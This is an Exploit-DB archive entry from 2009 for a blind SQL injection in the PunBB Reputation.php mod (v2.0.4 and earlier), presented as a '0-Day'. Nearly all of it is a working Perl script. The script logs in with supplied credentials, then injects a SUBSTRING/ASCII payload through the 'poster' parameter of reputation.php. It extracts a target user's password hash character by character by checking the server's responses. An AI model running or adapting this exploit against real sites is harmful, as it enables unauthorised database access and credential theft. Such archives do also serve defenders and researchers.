Exploit-DB #9289
Description: PunBB Reputation.php Mod 2.0.4 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2009-07-28
Author: Dante90

Exploit:
#!/usr/bin/perl
#[0-Day] PunBB Reputation.php Mod <= v2.0.4 Remote Blind SQL Injection Exploit
#Coded By Dante90, WaRWolFz Crew
#Bug Discovered By: Dante90, WaRWolFz Crew

use strict;
use LWP::UserAgent;
use HTTP::Cookies;

use HTTP::Request::Common;
use Time::HiRes;
use IO::Socket;

my ($UserName,$PassWord,$ID) = @ARGV;
if(@ARGV < 3){
    &usage();
    exit();
}
my $Message = "";
my ($Hash,$Time,$Time_Start,$Time_End,$Response);
my($Start,$End);
my @chars = (48,49,50,51,52,53,54,55,56,57,97,98,99,100,101,102);
my $Host = "http://www.victime_site.org/path/"; #Insert Victime Web Site Link
my $Method = HTTP::Request->new(POST => $Host);
my $Cookies = new HTTP::Cookies;
my $HTTP = new LWP::UserAgent(
            agent => 'Mozilla/5.0',
            max_redirect => 0,
            cookie_jar => $Cookies,
        ) or die $!;
my $Referrer = "form_sent=1&pid=10174&poster=Dante90, WaRWolFz Crew&method=1&req_message=http://www.warwolfz.com/&submit=Invia";
my $DefaultTime = request($Referrer);

sub Login(){
    my $Login = $HTTP->post($Host.'login.php?action=in',
                [
                    form_sent        => '1',
                    redirect_url    => 'forums.php',
                    req_username    => $UserName,
                    req_password    => $PassWord,
                    login => 'Login',
                ]) || die $!;

    if($Login->content =~ /Logged in successfully./i){
        return 1;
    }else{
        return 0;
    }
}
if (Login() == 1){
    $Message = " * Logged in as: ".$UserName;
}elsif (Login() == 0){
    $Message = " * Login Failed.";
    refresh($Message, $Host, $DefaultTime, "0", $Hash, $Time, "1");
    print " * Exploit Failed                                     *\n";
    print " ------------------------------------------------------ \n";
    exit;
}

sub Blind_SQL_Jnjection{
    my ($dec,$hex) = @_;
    return "Dante90, WaRWolFz Crew\" OR ASCII(SUBSTRING((SELECT `password` FROM `users` WHERE `id`=${ID}),${dec},1))=${hex}/*";
}

for(my $I=1; $I<=40; $I++){ #N Hash characters
    for(my $J=0; $J<=15; $J++){ #0 -> F
        my $Post = $HTTP->post($Host.'reputation.php?',[
                    form_sent    => '1',
                    pid            => '2',
                    poster        => Blind_SQL_Jnjection($I,$chars[$J]),
                    method        => '1',
                    req_message    => 'http://www.warwolfz.com/',
                    submit        => 'Submit',
                ]) || die $!;
        $Time = request($Referrer);
        refresh($Message, $Host, $DefaultTime, $J, $Hash, $Time, $I);
        if($Post->content =~ /(The reputation has been successfully changed)/i){
            syswrite(STDOUT,chr($chars[$J]));
            $Hash .= chr($chars[$J]);
            $Time = request($Referrer);
            refresh($Message, $Host, $DefaultTime, $J, $Hash, $Time, $I);
            last;
        }
    }
    if($I == 1 && length $Hash < 1 && !$Hash){
        print " * Exploit Failed                                     *\n";
        print " ------------------------------------------------------ \n";
        exit;
    }
    if($I == 40){
        print " * Exploit Successed                                  *\n";
        print " ------------------------------------------------------\n ";
        system("pause");
    }
}

sub usage{
    system("cls");
    {
        print " \n [0-Day] PunBB Reputation.php Mod <= v2.0.4 Remote Blind SQL Injection Exploit\n";
        print " ------------------------------------------------------ \n";
        print " * USAGE:                                             *\n";
        print " * cd [Local Disk]:\\[Directory Of Exploit]\\           *\n";
        print " * perl name_exploit.pl [username] [password] [id]    *\n";
        print " ------------------------------------------------------ \n";
        print " *         Powered By Dante90, WaRWolFz Crew          *\n";
        print " * www.warwolfz.org - dante90_founder[at]warwolfz.org *\n";
        print " ------------------------------------------------------ \n";
    };
    exit;
}

sub request{
    $Referrer = $_[0];
    $Method->content_type('application/x-www-form-urlencoded');
    $Method->content($Referrer);
    $Start = Time::HiRes::time();
    $Response = $HTTP->request($Method);
    $Response->is_success() or die "$Host : ", $Response->message,"\n";
    $End = Time::HiRes::time();
    $Time = $End - $Start;
    return $Time;
}

sub refresh{
    system("cls");
    {
        print " \n [0-Day] PunBB Reputation.php Mod <= v2.0.4 Remote Blind SQL Injection Exploit\n";
        print " ------------------------------------------------------ \n";
        print " * USAGE:                                             *\n";
        print " * cd [Local Disk]:\\[Directory Of Exploit]\\           *\n";
        print " * perl name_exploit.pl [username] [password] [id]    *\n";
        print " ------------------------------------------------------ \n";
        print " *         Powered By Dante90, WaRWolFz Crew          *\n";
        print " * www.warwolfz.org - dante90_founder[at]warwolfz.org *\n";
        print " ------------------------------------------------------ \n";
    };
    print $_[0] ."\n";
    print " * Victime Site: " . $_[1] . "\n";
    print " * Default Time: " . $_[2] . " seconds\n";
    print " * BruteForcing Hash: " . chr($chars[$_[3]]) . "\n";
    print " * BruteForcing N Char Hash: " . $_[6] . "\n";
    print " * SQL Time: " . $_[5] . " seconds\n";
    print " * Hash: " . $_[4] . "\n";
}

#WaRWolFz Crew

# milw0rm.com [2009-07-28]